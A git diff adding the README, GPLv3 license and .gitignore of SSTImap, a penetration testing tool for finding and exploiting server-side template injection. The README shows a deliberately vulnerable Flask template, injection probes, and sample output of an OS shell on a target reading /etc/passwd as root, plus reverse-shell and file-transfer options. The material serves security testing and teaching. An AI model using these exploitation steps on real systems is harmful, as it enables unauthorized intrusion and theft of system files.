diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bf3b2c8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,54 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +bin/ +build/ +develop-eggs/ +dist/ +eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +.tox/ +.coverage +.cache +nosetests.xml +coverage.xml + +# Translations +*.mo + +# OsX +.DS_Store + +# Npm local modules +node_modules + +# Jython +*.class + +# Vim +# swap +.sw[a-p] +.*.sw[a-p] +# tags +tags +.idea/ diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..14990c3 --- /dev/null +++ b/README.md @@ -0,0 +1,276 @@ +SSTImap +====== + +[![Version 1.0](https://img.shields.io/badge/version-1.0-green.svg?logo=github)](https://github.com/vladko312/sstimap) +[![Python 3.10](https://img.shields.io/badge/python-3.10-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3100/) +[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/) +[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt) +[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/) +[![Maintenance](https://img.shields.io/maintenance/yes/2022?logo=github)](https://github.com/vladko312/sstimap) + +> This project is based on [Tplmap](https://github.com/epinna/tplmap/). + +SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself. + +This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. + +Sandbox break-out techniques came from: +- James Kett's [Server-Side Template Injection: RCE For The Modern Web App][5] +- Other public researches [\[1\]][1] [\[2\]][2] +- Contributions to Tplmap [\[3\]][3] [\[4\]][4]. + +This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports _eval()_-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines. + +Differences with Tplmap +----------------------- + +Even though this software is based on Tplmap's code, backwards compatibility is not provided. +- Interactive mode (`-i`) allowing for easier exploitation and detection +- Base language _eval()_-like shell (`-x`) or single command (`-X`) execution +- Added new payload for _Smarty_ without enabled `{php}{/php}`. Old payload is availible as `Smarty_unsecure`. +- User-Agent can be randomly selected from a list of desktop browser agents using `-A` +- SSL verification can now be enabled using `-V` +- Short versions added to all arguments +- Some old command line arguments were changed, check `-h` for help +- Code is changed to use newer python features +- Burp Suite extension temporarily removed, as _Jython_ doesn't support Python3 + +Server-Side Template Injection +------------------------------ + +This is an example of a simple website written in Python using [Flask][6] framework and [Jinja2][7] template engine. It integrates user-supplied variable `name` in an unsafe way, as it is cincatenated to the template string before rendering. + +```python3 +from flask import Flask, request, render_template_string +import os + +app = Flask(__name__) + +@app.route("/page") +def page(): + name = request.args.get('name', 'World') + # SSTI VULNERABILITY: + template = f"Hello, {name}!
\n" \ + "OS type: {{os}}" + return render_template_string(template, os=os.name) + +if __name__ == "__main__": + app.run(host='0.0.0.0', port=80) +``` + +Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI. + +``` +$ curl -g 'https://www.target.com/page?name=John' +Hello John!
+OS type: posix +$ curl -g 'https://www.target.com/page?name={{7*7}}' +Hello 49!
+OS type: posix +``` + +User-supplied input should be introduced in a safe way through rendering context: + +```python3 +from flask import Flask, request, render_template_string +import os + +app = Flask(__name__) + +@app.route("/page") +def page(): + name = request.args.get('name', 'World') + template = "Hello, {{name}}!
\n" \ + "OS type: {{os}}" + return render_template_string(template, name=name, os=os.name) + +if __name__ == "__main__": + app.run(host='0.0.0.0', port=80) +``` + +Predetermined mode +------------------ + +SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates. + +After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations. + +To check the URL, you can use `-u` argument: + +``` +$ ./sstimap.py -u https://example.com/page?name=John + + ╔══════╦══════╦═══════╗ ▀█▀ + ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ + ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ + ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \ + ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | + ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/ + │ | | + |_| +[*] Version: 1.0 +[*] Author: @vladko312 +[*] Based on Tplmap +[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. +It is the end user's responsibility to obey all applicable local, state and federal laws. +Developers assume no liability and are not responsible for any misuse or damage caused by this program + + +[*] Testing if GET parameter 'name' is injectable +[*] Smarty plugin is testing rendering with tag '*' +... +[*] Jinja2 plugin is testing rendering with tag '{{*}}' +[+] Jinja2 plugin has confirmed injection with tag '{{*}}' +[+] SSTImap identified the following injection point: + + GET parameter: name + Engine: Jinja2 + Injection: {{*}} + Context: text + OS: posix-linux + Technique: render + Capabilities: + + Shell command execution: ok + Bind and reverse shell: ok + File write: ok + File read: ok + Code evaluation: ok, python code + +[+] Rerun SSTImap providing one of the following options: + --os-shell Prompt for an interactive operating system shell + --os-cmd Execute an operating system command. + --eval-shell Prompt for an interactive shell on the template engine base language. + --eval-cmd Evaluate code in the template engine base language. + --tpl-shell Prompt for an interactive shell on the template engine. + --tpl-cmd Inject code in the template engine. + --bind-shell PORT Connect to a shell bind to a target port + --reverse-shell HOST PORT Send a shell back to the attacker's port + --upload LOCAL REMOTE Upload files to the server + --download REMOTE LOCAL Download remote files +``` + +Use `--os-shell` option to launch a pseudo-terminal on the target. + +``` +$ ./sstimap.py -u https://example.com/page?name=John --os-shell + + ╔══════╦══════╦═══════╗ ▀█▀ + ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ + ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ + ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \ + ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | + ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/ + │ | | + |_| +[*] Version: 0.6#dev +[*] Author: @vladko312 +[*] Based on Tplmap +[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. +It is the end user's responsibility to obey all applicable local, state and federal laws. +Developers assume no liability and are not responsible for any misuse or damage caused by this program + + +[*] Testing if GET parameter 'name' is injectable +[*] Smarty plugin is testing rendering with tag '*' +... +[*] Jinja2 plugin is testing rendering with tag '{{*}}' +[+] Jinja2 plugin has confirmed injection with tag '{{*}}' +[+] SSTImap identified the following injection point: + + GET parameter: name + Engine: Jinja2 + Injection: {{*}} + Context: text + OS: posix-linux + Technique: render + Capabilities: + + Shell command execution: ok + Bind and reverse shell: ok + File write: ok + File read: ok + Code evaluation: ok, python code + +[+] Run commands on the operating system. +posix-linux $ whoami +root +posix-linux $ cat /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +``` + +To get a full list of options, use `--help` argument. + +Interactive mode +---------------- + +In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use `-i` argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings. + +Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial `-u` argument or `url` command. After that, you can use `run` command to check URL for SSTI. + +If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use `Ctrl+C` to abort them without stopping a program. + +By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time. + +To get a full list of interactive commands, use command `help` in interactive mode. + +Supported template engines +-------------------------- + +SSTImap supports multiple template engines and _eval()_-like injections. + +New payloads are welcome in PRs. + +| Engine | RCE | Blind | Code evaluation | File read | File write | 